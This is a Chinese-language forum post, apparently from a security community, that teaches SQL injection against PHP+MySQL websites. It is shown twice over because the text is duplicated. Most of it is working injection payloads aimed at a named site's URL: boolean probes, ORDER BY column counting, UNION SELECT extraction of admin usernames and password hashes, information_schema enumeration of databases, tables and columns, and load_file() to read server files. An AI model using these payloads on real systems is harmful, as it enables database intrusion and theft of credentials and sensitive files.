-
-
初探MYSQL的如何注入初探MYSQL的如何注入
-
发表于: 2013-10-11 15:19 658
-
初探MYSQL的如何注入初探MYSQL的如何注入
大家都知道,危害我们网站安全较多的漏洞还是注射漏洞。无论腾讯、百度、SINA等等大型网站都惊现过注入漏洞,今天讲解的是PHP+MYSQL的注入。我们注重的不是WEB语言而是数据库.了解一条SQL语句是如何运行。
常规WEB语言与数据库搭配方法:php+mysql、ASP+ACC、JSP+ORACLE、ASPX+MSSQL等等搭配都有
以下判断是否存在注入漏洞的语句.其中/*在MYSQL中是个注释语句.
http://www.lengyueduyun.com/sql.php?id=7 and 1=1/*
http://www.lengyueduyun.com/sql.php?id=7 and 1=2/*
下面我们用ORDER BY 语句进行字段中查询的记录进行排序;
http://www.lengyueduyun.com/sql.php?id=7 order by 10/* 一直重1到10输入ORDER BY 11 返回出错
下面用猜表名方法;(假设表明为admin)
http://www.lengyueduyun.com/sql.php?id=7 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin/*
当这样返回正常的话.存在此表明了!当然会显示一些特殊数字的WEB上
下面用猜字段方法;(假设字段为user 和pass)
http://www.lengyueduyun.com/sql.php?id=7 and 1=2 union select 1,2,user,pass,5,6,7,8,9,10 from admin/*
我们可爱的账户与密码出来了(一般密码是经过MD5处理或者其他加密)
但是我们在MYSQL中(假设版本是5)的注射手法,mysql5中增加一个库叫information_schema,可以爆库爆表爆字段。解决了我们找不了表明与字段的烦恼
union select 1,SCHEMA_NAME,3,4,5,6,7,8,9,10 from information_schema.SCHEMATA limit 1,1/*
limit 从0开始递增,查询到4时浏览器返回错误,说明存在3个库。
union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
limit 从0开始递增,查询到7时浏览器返回错误,说明此库存在6个表。
union select 1,2,3,COLUMN_NAME,4,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
limit 从0开始递增,查询到时浏览器返回错误,说明此表存在N-1个列。
这样可以解决我们找不到表与字段的烦躁(版本为MYSQL5)
介绍下MYSQL中的函数(CONCAT_WS()函数)
and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10/*
这里的意思一次查看MYSQL的版本信息当前用户等等
介绍下MYSQL中的函数(load_file() 函数)
and 1=2 union select 1,2,3,load_file(16进制转换),5,6,7,8,9,10/*
使用load_file()读取敏感信息必须该用户赋予最高的权限..把你需要的文件路径转换为16进制即可
部分还有几个MYSQL中的函数没介绍,但这文章需要时间..
大家都知道,危害我们网站安全较多的漏洞还是注射漏洞。无论腾讯、百度、SINA等等大型网站都惊现过注入漏洞,今天讲解的是PHP+MYSQL的注入。我们注重的不是WEB语言而是数据库.了解一条SQL语句是如何运行。
常规WEB语言与数据库搭配方法:php+mysql、ASP+ACC、JSP+ORACLE、ASPX+MSSQL等等搭配都有
以下判断是否存在注入漏洞的语句.其中/*在MYSQL中是个注释语句.
http://www.lengyueduyun.com/sql.php?id=7 and 1=1/*
http://www.lengyueduyun.com/sql.php?id=7 and 1=2/*
下面我们用ORDER BY 语句进行字段中查询的记录进行排序;
http://www.lengyueduyun.com/sql.php?id=7 order by 10/* 一直重1到10输入ORDER BY 11 返回出错
下面用猜表名方法;(假设表明为admin)
http://www.lengyueduyun.com/sql.php?id=7 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin/*
当这样返回正常的话.存在此表明了!当然会显示一些特殊数字的WEB上
下面用猜字段方法;(假设字段为user 和pass)
http://www.lengyueduyun.com/sql.php?id=7 and 1=2 union select 1,2,user,pass,5,6,7,8,9,10 from admin/*
我们可爱的账户与密码出来了(一般密码是经过MD5处理或者其他加密)
但是我们在MYSQL中(假设版本是5)的注射手法,mysql5中增加一个库叫information_schema,可以爆库爆表爆字段。解决了我们找不了表明与字段的烦恼
union select 1,SCHEMA_NAME,3,4,5,6,7,8,9,10 from information_schema.SCHEMATA limit 1,1/*
limit 从0开始递增,查询到4时浏览器返回错误,说明存在3个库。
union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
limit 从0开始递增,查询到7时浏览器返回错误,说明此库存在6个表。
union select 1,2,3,COLUMN_NAME,4,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
limit 从0开始递增,查询到时浏览器返回错误,说明此表存在N-1个列。
这样可以解决我们找不到表与字段的烦躁(版本为MYSQL5)
介绍下MYSQL中的函数(CONCAT_WS()函数)
and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10/*
这里的意思一次查看MYSQL的版本信息当前用户等等
介绍下MYSQL中的函数(load_file() 函数)
and 1=2 union select 1,2,3,load_file(16进制转换),5,6,7,8,9,10/*
使用load_file()读取敏感信息必须该用户赋予最高的权限..把你需要的文件路径转换为16进制即可
部分还有几个MYSQL中的函数没介绍,但这文章需要时间..
赞赏
看原图
赞赏
雪币:
留言: